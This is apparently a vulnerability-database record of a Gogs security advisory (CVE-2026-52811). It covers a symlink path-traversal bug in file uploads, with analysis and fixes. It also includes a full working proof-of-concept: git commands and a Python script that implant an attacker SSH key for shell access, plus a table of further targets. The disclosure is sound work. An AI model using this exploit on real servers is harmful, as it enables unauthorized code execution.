{"id":"CVE-2026-52811","title":"Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym","summary":"Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym","severity":"critical","cwe":["CWE-22","CWE-59","CWE-61"],"vendor":"gogs","product":"gogs.io/gogs","ecosystem":"go","affected":["gogs.io/gogs < 0.14.3"],"patched":["gogs.io/gogs 0.14.3"],"published":"2026-06-23","updated":"2026-06-23","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-89mr-xqfv-758m","references":[{"url":"https://github.com/gogs/gogs/security/advisories/GHSA-89mr-xqfv-758m"},{"url":"https://github.com/gogs/gogs/pull/8332"},{"url":"https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31"},{"url":"https://github.com/gogs/gogs/releases/tag/v0.14.3"},{"url":"https://github.com/advisories/GHSA-89mr-xqfv-758m"}],"tags":["ghsa","go"],"epss":0.00474,"epssPercentile":0.40164,"ingestedAt":"2026-06-29T13:24:35.468Z","slug":"CVE-2026-52811","body":"## Overview\n\nSummary\n\n`(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component — `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — `~git/.ssh/authorized_keys` → SSH foothold, or `<repo>.git/hooks/post-receive` → next-push RCE.\n\nWindows builds are unaffected: `filepath.Base` treats `\\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).\nDetails\n\nThe asymmetric check at `internal/database/repo_editor.go:601-612`:\n\n```go\ntargetPath := path.Join(dirPath, upload.Name)\nif osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY\n    return errors.Newf(\"cannot overwrite symbolic link: %s\", upload.Name)\n}\nif err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }\n```\n\nvs. `UpdateRepoFile`'s correct walker at `internal/database/repo_editor.go:163`:\n\n```go\nif hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n    return errors.New(\"cannot update file with symbolic link in path\")\n}\n```\n\n`hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf — fine inside the loop, wrong as a single call.\n\nMulti-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile(\"file\")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` — Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, \"\\\\\", \"/\")` — converting backslashes to forward slashes; (3) `upload.Name = \"evil/foo\"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` — no `O_NOFOLLOW`, kernel follows symlinks in path. Git's default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`.\n\nSuggested fix\n\n1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` — the same primitive `UpdateRepoFile` already uses.\n2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don't let `MkdirAll` create directories outside the repo.\n3. Switch `iox.CopyFile`'s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat→write TOCTOU at the syscall layer.\n4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.\n\nPoC\n\nTested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`↔`osutil`, `iox.CopyFile`↔`com.Copy`, identical logic).\n\n### Reproduction prerequisites\n- gogs ≥ 0.14.0 on Linux/macOS (`runtime.GOOS != \"windows\"`).\n- Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos).\n- `git` ≥ 2.x with `core.symlinks=true` (Linux/macOS default).\n- Python 3 stdlib only — `curl -F` does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.\n\n### Why curl alone is unreliable\n\nBug needs *two* backslash bytes on the wire so Go's `mime.ParseMediaType` quoted-string rule (`\\X` → `X`) yields a single `\\` in the parsed filename, which `pathx.Clean` then turns into `/`.\n\n| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |\n|---|---|---|---|---|\n| `-F \"...filename=a\\b\"`  | `a\\b`  | `ab`  | `ab`  | no |\n| `-F \"...filename=a\\\\b\"` (double quotes) | `a\\b`  | `ab`  | `ab`  | no |\n| `-F '...filename=a\\\\b'` (single quotes) | `a\\\\b` | `a\\b` | `a/b` | **yes** |\n\nThe Python below removes the ambiguity.\n\n### Step 1 — plant the directory symlink\n\n```sh\ngit clone https://attacker:attacker_password@gogs.example/attacker/playground\ncd playground\nln -s /home/git/.ssh hijack\ngit add hijack && git commit -m 'docs link' && git push origin main\ncd ..\n```\n\nBare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `<conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh`.\n\n### Step 2 — upload + commit\n\nSave as `poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write.\"\"\"\nimport http.client, ssl, json, re, urllib.parse\nfrom http.cookies import SimpleCookie\n\nGOGS_HOST  = 'gogs.example'\nUSERNAME   = 'attacker'\nPASSWORD   = 'attacker_password'\nREPO_OWNER = 'attacker'\nREPO_NAME  = 'playground'\nBRANCH     = 'main'\nPUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\\n'\n\nctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000\ndef conn():\n    if ctx is None:\n        return http.client.HTTPConnection(GOGS_HOST, 3000)\n    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)\n\ncookies = {}\ndef update_cookies(resp):\n    for hdr in resp.msg.get_all('Set-Cookie') or []:\n        for name, morsel in SimpleCookie(hdr).items():\n            cookies[name] = morsel.value\ndef cookie_header():\n    return '; '.join(f'{k}={v}' for k, v in cookies.items())\ndef get_csrf(html):\n    return re.search(r'name=\"_csrf\"\\s+(?:value|content)=\"([^\"]+)\"', html).group(1)\n\n# 1. GET /user/login → session cookie + CSRF\nc = conn(); c.request('GET', '/user/login')\nr = c.getresponse(); update_cookies(r)\ncsrf_token = get_csrf(r.read().decode())\n\n# 2. Submit credentials\nc = conn()\nc.request('POST', '/user/login',\n    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),\n    headers={'Content-Type': 'application/x-www-form-urlencoded',\n             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})\nr = c.getresponse(); r.read(); update_cookies(r)\nassert r.status in (302, 303), f'login failed: {r.status}'\n\n# 3. Refresh CSRF for the logged-in session\nc = conn()\nc.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})\nr = c.getresponse(); html = r.read().decode(); update_cookies(r)\ncsrf_token = get_csrf(html)\n\n# 4. Hand-built multipart with literal \"\\\\\" (two backslash bytes) in filename.\n#    Wire form: filename=\"hijack\\\\authorized_keys\"\nboundary = '----poc-' + 'x' * 16\nfilename_on_wire = r'hijack\\\\authorized_keys'   # 23 chars, 2 of them backslashes\nbody = (\n    f'--{boundary}\\r\\n'\n    f'Content-Disposition: form-data; name=\"file\"; filename=\"{filename_on_wire}\"\\r\\n'\n    f'Content-Type: text/plain\\r\\n\\r\\n{PUBKEY}\\r\\n--{boundary}--\\r\\n'\n).encode()\nc = conn()\nc.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={\n    'Content-Type': f'multipart/form-data; boundary={boundary}',\n    'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,\n})\nr = c.getresponse(); upload_resp = r.read().decode()\nprint('upload status:', r.status, 'body:', upload_resp)\nuuid = json.loads(upload_resp)['uuid']\n\n# 5. Commit the uploaded file at the repo root.\nc = conn()\nc.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',\n    body=urllib.parse.urlencode({\n        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',\n        'commit_choice': 'direct', 'files': uuid,\n    }),\n    headers={'Content-Type': 'application/x-www-form-urlencoded',\n             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})\nr = c.getresponse(); r.read()\nprint('commit status:', r.status)\n```\n\n```sh\npython3 poc.py\n# upload status: 200 body: {\"uuid\":\"<UUID>\"}\n# commit status: 302\n```\n\n### Step 3 — confirm and use the foothold\n\n```sh\nsudo cat /home/git/.ssh/authorized_keys           # operator's view\n# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n\nssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker's view\n# → shell as the gogs runtime UID\n```\n\n### Server-side trace\n\n```\nmultipart wire bytes:  filename=\"hijack\\\\authorized_keys\"\nmime.ParseMediaType    → \"hijack\\authorized_keys\"           (quoted-pair: \\\\ → \\)\nfilepath.Base          → \"hijack\\authorized_keys\"           (Linux: only / is a separator)\npathx.Clean            → \"hijack/authorized_keys\"           (\\\\ → /, then path.Clean)\n\nUploadRepoFiles:\n  targetPath = <local-r>/<repoID>/hijack/authorized_keys\n             = /home/git/.ssh/authorized_keys               (parent symlink resolved)\n  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)\n  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)\n```\n\n### Other reachable targets (same primitive)\n\n| Symlink target | Effect on next event |\n|---|---|\n| `/home/git/.ssh` | SSH key implant → shell as gogs UID |\n| `<RepoRoot>/<owner>/<repo>.git/hooks` | Hook overwrite → arbitrary code on next push |\n| `<RepoRoot>/<owner>/<repo>.git` | `core.fsmonitor=<cmd>` in `config` → exec on next git op |\n| `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart |\n| Path of the sqlite DB file | DoS or admin-row replant |\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git && cd gogs\ngit checkout d7571322\ndiff <(sed -n '160,170p' internal/database/repo_editor.go) \\\n     <(sed -n '601,615p' internal/database/repo_editor.go)\n# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)\nsed -n '13,16p' internal/pathx/pathx.go\n# Confirm: pathx.Clean does ReplaceAll(\"\\\\\", \"/\")\n```\n\nImpact\n\n- **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to `~git/.ssh/authorized_keys` → ssh in.\n- Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials).\n- Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.\n- Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git's `core.symlinks` default).\n\n## Affected packages\n\n- `gogs.io/gogs < 0.14.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `gogs.io/gogs 0.14.3`","depth":"midnight","depthScore":52,"depthScoreParts":{"impact":52.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}